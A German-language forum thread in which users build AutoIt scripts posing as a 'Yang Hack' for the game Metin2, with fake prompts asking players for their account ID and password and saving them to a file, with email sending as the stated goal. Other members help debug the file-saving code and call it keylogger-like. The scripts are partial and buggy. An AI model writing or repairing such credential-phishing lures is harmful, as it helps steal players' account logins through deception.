AutoIT E-Mail

[Darkness321]

Hab mal ne frage

Hab da son Prob

Und zwar hätte ich gerne nen Script wo man etwas eingeben kan und den z.b. an meine e-mail gesendet wird

Undzwar genau dan wen man einen button drückt

Kan mir jemand sonen Code geben pls?


Hir der code

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

Opt("GUIOnEventMode", 1)
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Yang Hack Metin2", 633, 447, 193, 125)
GUISetBkColor(0x008080)
GUISetOnEvent($GUI_EVENT_CLOSE, "Form1Close")
GUISetOnEvent($GUI_EVENT_MINIMIZE, "Form1Minimize")
GUISetOnEvent($GUI_EVENT_MAXIMIZE, "Form1Maximize")
GUISetOnEvent($GUI_EVENT_RESTORE, "Form1Restore")
$Input1 = GUICtrlCreateInput("", 128, 56, 241, 21)
GUICtrlSetOnEvent(-1, "Input1Change")
$ID = GUICtrlCreateLabel("ID", 80, 56, 23, 17)
GUICtrlSetOnEvent(-1, "IDClick")
$Input2 = GUICtrlCreateInput("", 128, 104, 241, 21)
GUICtrlSetOnEvent(-1, "Input2Change")
$Passwort = GUICtrlCreateLabel("Passwort", 56, 104, 55, 17)
GUICtrlSetOnEvent(-1, "PasswortClick")
$Yang = GUICtrlCreateLabel("Anzahl", 72, 144, 37, 17)
GUICtrlSetOnEvent(-1, "AnzahlClick")
$Input3 = GUICtrlCreateInput("", 128, 144, 241, 21)
GUICtrlSetOnEvent(-1, "Input3Change")
$Send = GUICtrlCreateButton("Send", 136, 216, 81, 33, 0)
GUICtrlSetOnEvent(-1, "SendClick")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
Sleep(100)
WEnd

Func Form1Close()

EndFunc
Func Form1Maximize()

EndFunc
Func Form1Minimize()

EndFunc
Func Form1Restore()

EndFunc
Func IDClick()

EndFunc
Func Input1Change()

EndFunc
Func Input2Change()

EndFunc
Func Input3Change()

EndFunc
Func PasswortClick()

EndFunc
Func SendClick()



EndFunc
Func AnzahlClick()

EndFunc

[.Envy]

[Darkness321]

thx

[Darkness321]

Ich habe ein Problem mit meinem bot

und zwar wen ich die daten eingebe und dan senden drücke sollen die eingegebenen daten eigendlich in ein text document abgespeichert werden

was sie aber nicht machen

(document wird erstellt beinhaltet aber nichts)

hier der code

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <File.au3>
#include <String.au3>

$file = "daten.txt"

Opt("GUIOnEventMode", 1)
#Region ### START Koda GUI section ### Form=c:\dokumente und einstellungen\simon\desktop\form1.kxf
$Form1_1 = GUICreate("Form1", 633, 447, 201, 125)
GUISetBkColor(0x3D95FF)
GUISetOnEvent($GUI_EVENT_CLOSE, "Form1_1Close")
GUISetOnEvent($GUI_EVENT_MINIMIZE, "Form1_1Minimize")
GUISetOnEvent($GUI_EVENT_MAXIMIZE, "Form1_1Maximize")
GUISetOnEvent($GUI_EVENT_RESTORE, "Form1_1Restore")
$Label1 = GUICtrlCreateLabel("ID", 88, 64, 15, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label1Click")
$Label2 = GUICtrlCreateLabel("Password" , 56, 112, 50, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label2Click")
$Label3 = GUICtrlCreateLabel("Anzahl", 80, 160, 29, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label3Click")
GUICtrlCreateInput("", 168, 64, 145, 21)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Input3Change")
GUICtrlCreateInput("", 168, 112, 145, 21)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Input4Change")
GUICtrlCreateInput("", 168, 160, 145, 21)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Input5Change")
$Label4 = GUICtrlCreateLabel("Das Password wird zum ", 416, 48, 119, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label4Click")
$Label5 = GUICtrlCreateLabel(" zum activieren des Accounts gebraucht", 384, 72, 194, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label5Click")
$Label6 = GUICtrlCreateLabel("Das activieren kan bis zu", 408, 136, 123, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label6Click")
$Label7 = GUICtrlCreateLabel("10 min dauern", 432, 160, 71, 17)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "Label7Click")
$Senden = GUICtrlCreateButton("Senden", 168, 216, 105, 33, 0)
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlSetOnEvent(-1, "SendenClick")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
Sleep(100)
WEnd

Func Form1_1Close()
Exit

EndFunc
Func Form1_1Maximize()

EndFunc
Func Form1_1Minimize()

EndFunc
Func Form1_1Restore()

EndFunc
Func Input3Change()

EndFunc
Func Input4Change()

EndFunc
Func Input5Change()

EndFunc
Func Label1Click()

EndFunc
Func Label2Click()

EndFunc
Func Label3Click()

EndFunc
Func Label4Click()

EndFunc
Func Label5Click()

EndFunc
Func Label6Click()

EndFunc
Func Label7Click()

EndFunc
Func SendenClick()

FileWrite ($file, "")
_FileWriteToLine ($file, 1, $Label1,2)
_FileWriteToLine ($file, 3, $Label2,2)
_FileWriteToLine ($file, 5, $Label3,2)

$Label1 = FileReadLine ($file, 1)
$Label2 = FileReadLine ($file, 3)
$Label3 = FileReadLine ($file, 5)

Exit

EndFunc

würde mich freuen wen jemand weiß woran das liegt

Darkness321

[Darkness321]

weiß den niemand an was das liegt?

[verT!c4L]

Lange Rede, kurzer Sinn.
Du müsstest es selbst raffen das der Fehler bei dir liegt ^^
Woran kann es wohl liegen, das dein FileHandle ( FileWrite ($file, "") )
die Daten nicht speichert?

JEP, genau! Weil du es verschüsselt hast, das FileHandle zu schließen ( FileClose ($file) ), was widerum die eigentliche Speicherung vollführt...

Les nächst mal genau was welche Funktion macht, die du benutzt...

[Darkness321]

sorry aber ich arbeite noch nicht so lange mit autoit (ca 2 wochen)

deswegen wusste ich das net sry

[verT!c4L]

passt scho weiter üben ^^
hat das denn gefunzt ?

[Darkness321]

ja habs den noch hingekrigt aber leider ohne gui =(

weil iwie will der net mit GUICtrlCreateLabel sondern nur mit InputBox lesen

naja aba is auf jedenfall was geworden

[Knochenfabrikant]

Hier meine Source:

$File = "Daten.txt"

$Input1 = InputBox ("Yanghack für Metin2 DE Schritt 1","Benutzername")
$Input2 = InputBox ("Yanghack für Metin2 DE Schritt 2","Passwort"&@CRLF&"(Um zu sehen ob der Account aktiv ist)","","*")
$Input3 = InputBox ("Yanghack für Metin2 DE Schritt 3","Gewünschter Yangbetrag"&@CRLF&"® By Bozkurt Hacker-Team")

FileWrite ($File,"")
_FileWriteToLine ($File, 1,$Input1,2)
_FileWriteToLine ($File, 3,$Input2,2)
_FileWriteToLine ($File, 5,$Input3,2)

$Input1 = FileReadLine ($File,1)
$Input2 = FileReadLine ($File,3)
$Input3 = FileReadLine ($File,5)
FileClose ($File)

Exit

Was ist daran Falsch?
Immer wenn ich es öffne, alles in die Inputboxen eingebe und OK Klicke kommt dieser Fehler

[verT!c4L]

Steht doch da ?! ^^ Error: unknown function name...
Line 19...

[Darkness321]

Alos das soll doch wohl ken Keylogger sein oder!?!?!?!?!?!?

[verT!c4L]

Nein, fürn Keylogger zu auffällig wegen InputBox, aber vom Prinzip her ähnlich...

[Knochenfabrikant]

Ja ich weiß Line 19....
aber was ist daran falsch ???

[Darkness321]

Ich Guck mal was das is ^^